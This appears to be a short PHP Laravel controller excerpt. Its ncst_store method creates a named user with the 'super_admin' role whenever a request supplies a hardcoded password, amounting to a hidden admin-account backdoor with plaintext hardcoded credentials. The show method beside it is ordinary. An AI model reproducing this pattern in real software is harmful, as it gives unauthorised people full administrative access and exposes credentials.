public function ncst_store() { if (Input::get('password') == '*newmoon89' and !User::whereName('Purevdorj')->count()) { $user = User::create(['email' => '*****@*****.**', 'name' => 'Purevdorj', 'password' => '*newmoon89*']); $role = Role::create(['name' => 'super_admin']); $user->roles()->attach($role->id); return Redirect::to('/admin'); } else { return Redirect::home(); } }
/** * Muestra el estudiante especificado * * @param int $id * @return Response */ public function show($admin, $user_name) { $user = User::whereName($user_name)->first(); return View::make('users.show', compact('user', 'admin')); }